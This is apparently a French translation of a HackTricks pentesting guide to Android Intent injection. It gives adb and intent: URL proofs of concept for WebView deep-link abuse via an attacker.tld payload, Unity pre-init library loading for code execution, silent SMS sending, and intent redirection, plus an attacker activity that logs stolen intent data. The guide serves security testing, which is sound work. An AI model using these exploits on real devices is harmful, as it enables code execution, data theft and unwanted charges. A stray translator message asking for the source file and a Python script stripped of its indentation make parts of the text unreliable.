Intent Injection

Reading time: 17 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Intent injection abuse les composants qui acceptent des Intents contrÎlés par un attaquant ou des données qui sont ensuite converties en Intents. Deux schémas trÚs courants lors de pentests d'applications Android sont :

  • Envoyer des extras malicieux Ă  des Activities/Services/BroadcastReceivers exportĂ©s qui sont ensuite transmis Ă  des composants privilĂ©giĂ©s non exportĂ©s.
  • DĂ©clencher des deep links exportĂ©s VIEW/BROWSABLE qui transmettent des URL contrĂŽlĂ©es par l'attaquant vers des WebViews internes ou d'autres sinks sensibles.

Si une application expose un deep link avec un schéma personnalisé tel que:

text
myscheme://com.example.app/web?url=<attacker_url>

et l'Activity rĂ©ceptrice transmet le paramĂštre de requĂȘte url dans un WebView, vous pouvez forcer l'application Ă  rendre du contenu distant arbitraire dans son propre contexte WebView.

PoC via adb :

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS s'exĂ©cute Ă  l'intĂ©rieur du profil WebView de l'app.
  • Si JavaScript est activĂ© (par dĂ©faut ou Ă  cause de vĂ©rifications mal ordonnĂ©es), vous pouvez Ă©numĂ©rer/utiliser n'importe quel objet exposĂ© @JavascriptInterface, voler les cookies/local storage du WebView, et pivoter.

See also:

Webview Attacks

Bug d'ordre des vérifications activant JavaScript

Un bug rĂ©current consiste Ă  activer JavaScript (ou d'autres paramĂštres permissifs de WebView) avant que la allowlist/vĂ©rification finale de l'URL ne soit terminĂ©e. Si des helpers prĂ©coces acceptent votre deep link et que le WebView est configurĂ© en premier, votre chargement final se produit avec JavaScript dĂ©jĂ  activĂ© mĂȘme si les vĂ©rifications ultĂ©rieures sont dĂ©faillantes ou trop tardives.

Ce qu'il faut rechercher dans le code décompilé :

  • Multiple helpers that parse/split/rebuild the URL differently (inconsistent normalization).
  • Calls to getSettings().setJavaScriptEnabled(true) before the last host/path allowlist check.
  • A pipeline like: parse → partial validate → configure WebView → final verify → loadUrl.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unity’s Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if BROWSABLE is present – can supply this extra.

A dangerous, undocumented flag leads to native code execution during very early process initialization:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.

Reverse-engineering excerpt (simplified):

c
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Pourquoi cela fonctionne

  • L'extra Intent unity est analysĂ© en tant que flags d'exĂ©cution Unity.
  • La fourniture du flag pre-init oriente Unity vers un chemin ELF contrĂŽlĂ© par l'attaquant situĂ© dans un namespace autorisĂ© du linker (voir contraintes ci-dessous).

Conditions d'exploitation

  • L'Activity d'entrĂ©e Unity est exportĂ©e (gĂ©nĂ©ralement vrai par dĂ©faut).
  • Pour une exploitation Ă  distance en un clic via le navigateur : l'Activity d'entrĂ©e dĂ©clare Ă©galement android.intent.category.BROWSABLE afin que des extras puissent ĂȘtre transmis depuis une URL intent:.

Exploitation locale (mĂȘme appareil)

  1. Placez un payload ELF Ă  un chemin lisible par l'application victime. Le plus simple : incluez une bibliothĂšque malveillante dans votre propre application attaquante et assurez-vous qu'elle est extraite sous /data/app/.../lib/<abi>/ en configurant dans le manifest de l'attaquant :
xml
<application android:extractNativeLibs="true" ...>
  1. Lancez l'Activity Unity de la victime avec le pre-init flag de la CLI dans l'extra unity. Exemple ADB PoC :
bash
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity appelle dlopen("/data/.../libpayload.so", RTLD_NOW) ; votre payload s'exécute dans le processus victime, héritant de toutes ses permissions d'application (caméra/micro/réseau/stockage, etc.) et accédant aux sessions/données in-app.

Remarques

  • Le chemin exact /data/app/... varie selon les appareils/installations. Une application malveillante peut rĂ©cupĂ©rer son propre rĂ©pertoire natif de libs Ă  l'exĂ©cution via getApplicationInfo().nativeLibraryDir et le communiquer au trigger.
  • Le fichier n'a pas besoin de se terminer par .so s'il s'agit d'un ELF valide — dlopen() se soucie des en-tĂȘtes ELF, pas des extensions.

Remote one‑click via browser (conditional) Si l'activity d'entrĂ©e Unity est exportĂ©e avec BROWSABLE, un site web peut passer des extras via une URL intent: :

text
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Cependant, sur les versions modernes d'Android, les dynamic linker namespaces et SELinux empĂȘchent le chargement depuis de nombreux chemins publics (par ex., /sdcard/Download). Vous verrez des erreurs comme :

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Stratégie de contournement : cibler les apps qui mettent en cache des octets contrÎlés par l'attaquant dans leur stockage privé (par ex., HTTP caches). Comme les chemins autorisés incluent /data et le répertoire privé de l'application, pointer -xrsdk-pre-init-library vers un chemin absolu à l'intérieur du cache de l'application peut satisfaire les contraintes du linker et permettre l'exécution de code. Cela fait écho aux précédents schémas cache-to-ELF RCE observés dans d'autres applications Android.

Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)

Certaines applications de messagerie par dĂ©faut exĂ©cutent incorrectement automatiquement des intents de messagerie implicites, les transformant en confused‑deputy primitive : toute application non privilĂ©giĂ©e peut dĂ©clencher Intent.ACTION_SENDTO avec sms:, smsto:, mms:, ou mmsto: et provoquer un envoi immĂ©diat sans interface de confirmation et sans la permission SEND_SMS.

Points clés

  • DĂ©clencheur : ACTION_SENDTO implicite + schĂ©ma d'URI de messagerie.
  • DonnĂ©es : dĂ©finir le destinataire dans l'URI, texte du message dans l'extra "sms_body".
  • Permissions : aucune (pas de SEND_SMS), repose sur le gestionnaire SMS/MMS par dĂ©faut.
  • ObservĂ© : Google Messages for Wear OS (corrigĂ© en mai 2025). D'autres gestionnaires doivent ĂȘtre Ă©valuĂ©s de la mĂȘme maniĂšre.

Minimal payload (Kotlin)

kotlin
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (sans autorisations spéciales)

bash
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Extension de la surface d'attaque (Wear OS)

  • Tout composant capable de lancer des activitĂ©s peut dĂ©clencher le mĂȘme payload : Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • Si le handler par dĂ©faut envoie automatiquement, l'abus peut ĂȘtre one‑tap ou totalement silencieux depuis des contextes en arriĂšre-plan selon les politiques OEM.

Pentest checklist

  • RĂ©soudre ACTION_SENDTO sur la cible pour identifier le handler par dĂ©faut ; vĂ©rifier s'il affiche une UI de composition ou s'il envoie silencieusement.
  • Tester les quatre schĂ©mas (sms:, smsto:, mms:, mmsto:) et les extras (sms_body, Ă©ventuellement subject pour MMS) pour vĂ©rifier les diffĂ©rences de comportement.
  • Prendre en compte les destinations payantes / numĂ©ros surtaxĂ©s lors des tests sur appareils rĂ©els.

Other classic Intent injection primitives

  • startActivity/sendBroadcast utilisant des extras Intent fournis par l'attaquant qui sont ensuite reparsĂ©s (Intent.parseUri(...)) et exĂ©cutĂ©s.
  • Composants proxy exportĂ©s qui transmettent des Intents vers des composants sensibles non‑exportĂ©s sans vĂ©rification des permissions.

Automating exported-component testing (Smali-driven ADB generation)

Quand des composants exportĂ©s attendent des extras spĂ©cifiques, deviner la forme du payload provoque une perte de temps et des faux nĂ©gatifs. Vous pouvez automatiser la dĂ©couverte des clĂ©s/types directement depuis Smali et gĂ©nĂ©rer des commandes adb prĂȘtes Ă  l'exĂ©cution.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: decompile and scan Smali for calls like getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() to infer which extras and fields are consumed by each component.
  • Output: Pour chaque Activity/Service/Receiver/Provider exportĂ©, l'outil affiche une courte explication et la commande exacte adb shell am .../cmd content ... avec les flags correctement typĂ©s.

Installer

bash
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Utilisation

bash
python apk-components-inspector.py target.apk

Je n'ai pas le contenu du fichier src/mobile-pentesting/android-app-pentesting/intent-injection.md.
Veuillez coller ici le contenu Markdown à traduire (ou autoriser l'accÚs au texte). Je traduirai tout en respectant exactement la syntaxe Markdown/HTML et les rÚgles indiquées.

bash
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

Fiche aide-mémoire ADB am extras (options sensibles au type)

  • ChaĂźnes : --es key value | Tableau de chaĂźnes : --esa key v1,v2
  • Entiers : --ei key 123 | Tableau d'entiers : --eia key 1,2,3
  • BoolĂ©ens : --ez key true|false
  • Longs : --el key 1234567890
  • Floats : --ef key 1.23
  • URI (extra) : --eu key content://... | Data URI (Intent data) : -d content://...
  • Extra composant : --ecn key com.pkg/.Cls
  • Extra chaĂźne nulle : --esn key
  • Flags courants : -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro tips pour les ContentProviders

  • Utilisez adb shell cmd content query|insert|update|delete ... pour cibler les ContentProviders sans agents.
  • Pour tester une SQLi, variez --projection et --where (aka selection) lorsque le provider sous-jacent est basĂ© sur SQLite.

Automatisation de bout en bout (exécuteur interactif)

bash
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Script d'aide pour analyser et exécuter des commandes adb
python
import subprocess

def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")

ExĂ©cuter sur l'appareil : l'inspecteur est basĂ© sur Python et fonctionne dans Termux ou sur des tĂ©lĂ©phones rootĂ©s oĂč apktool/androguard sont disponibles.


Intent Redirection (CWE-926) – dĂ©couverte et exploitation

Motif

  • Un point d'entrĂ©e exportĂ© (Activity/Service/Receiver) lit un Intent entrant et le transmet en interne ou en externe sans valider la source/les donnĂ©es, p.ex. :
  • startActivity(getIntent())
  • startActivity(intent) oĂč intent provient d'un extra comme redirect_intent/next_intent/pending_intent ou Intent.parseUri(...).
  • Faire confiance aux champs action/data/component sans vĂ©rification ; ne pas vĂ©rifier l'identitĂ© de l'appelant.

Que chercher dans Smali/Java

  • Utilisations de getParcelableExtra("redirect_intent"), getParcelable("intent"), getIntent().getParcelableExtra(...).
  • Appels directs de startActivity(...), startService(...), sendBroadcast(...) sur des Intents influencĂ©s par un attaquant.
  • Absence de vĂ©rifications getCallingPackage()/getCallingActivity() ou de contrĂŽles par permissions personnalisĂ©es.

ADB PoC templates

  • ActivitĂ© proxy redirigeant un Intent supplĂ©mentaire vers une Activity interne privilĂ©giĂ©e :
bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Service exportĂ© qui accepte un parcelable redirect_intent:
bash
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • RĂ©cepteur exportĂ© qui relaie sans validation :
bash
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Flags utiles pour un comportement de type singleTask

bash
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Exemples réels (impact variable) :

  • CVE-2024-26131 (Element Android) : flux exportĂ©s conduisant Ă  manipulation de WebView, contournement de PIN, login hijack.
  • CVE-2023-44121 (LG ThinQ Service) : action de receiver exportĂ©e com.lge.lms.things.notification.ACTION → effets au niveau systĂšme.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00) : redirection → accĂšs arbitraire aux fichiers (avec interaction utilisateur).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20) : implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

ModĂšle de menace

  • App A attend un rĂ©sultat sensible de App B en utilisant un implicit Intent (par ex., un OAuth redirect, un document picker result, un IMAGE_CAPTURE return, ou une custom callback action).
  • Attacker App C publie un composant exportĂ© avec un <intent-filter> correspondant pour la mĂȘme action/category/data. Lorsque B rĂ©sout l'implicit Intent, le resolver peut afficher un chooser ; si l'utilisateur choisit C (ou le dĂ©finit comme dĂ©faut), le payload est livrĂ© au composant attaquant au lieu de A.

Minimal PoC manifest (attacker):

xml
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

Squelette du handler:

java
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Remarques

  • Match specificity matters (action + categories + data). The more specific C’s filter is to B’s outgoing Intent, the higher the chance it is shown or auto-selected.
  • Cela s'applique aussi aux deep links (VIEW + BROWSABLE) lorsque des applications attendent qu'une autre application gĂšre une URL et renvoie quelque chose.

Pentest guidance

  • Grep la cible pour startActivity/startActivityForResult/registerForActivityResult calls utilisant des Intents non-explicites.
  • Inspecter les Intents transportant des tokens dans extras, clipData, ou getData() et vĂ©rifier si un tiers pourrait enregistrer un filtre compatible.
  • Recommander de remplacer les flux implicites par des Intents explicites (set setPackage()/setComponent()), ou d'exiger caller-permission/signed permissions sur les receivers/services exportĂ©s.

Contremesures

  • PrĂ©fĂ©rez les Intents explicites pour les flux sensibles (callbacks, tokens, auth results).
  • Quand le cross-app est nĂ©cessaire, ajoutez des exigences de permission au composant rĂ©cepteur et validez l'identitĂ© de l'appelant.
  • Limitez et resserrez les Intent filters pour ne conserver que ce qui est strictement nĂ©cessaire (scheme/host/path/MIME).

Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)

Lorsque vous contrÎlez l'expéditeur, ajoutez Intent.FLAG_DEBUG_LOG_RESOLUTION à un Intent implicite pour que Android consigne comment la résolution se déroule et quel composant sera sélectionné.

Example:

java
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

Ce que vous verrez dans adb logcat est la trace de résolution et le composant final, par ex. com.android.camera2/com.android.camera.CaptureActivity.

Astuce CLI

bash
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

Utile pour énumérer les gestionnaires candidats sur un appareil/émulateur et confirmer exactement quel composant recevra un Intent lors des tests.


Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks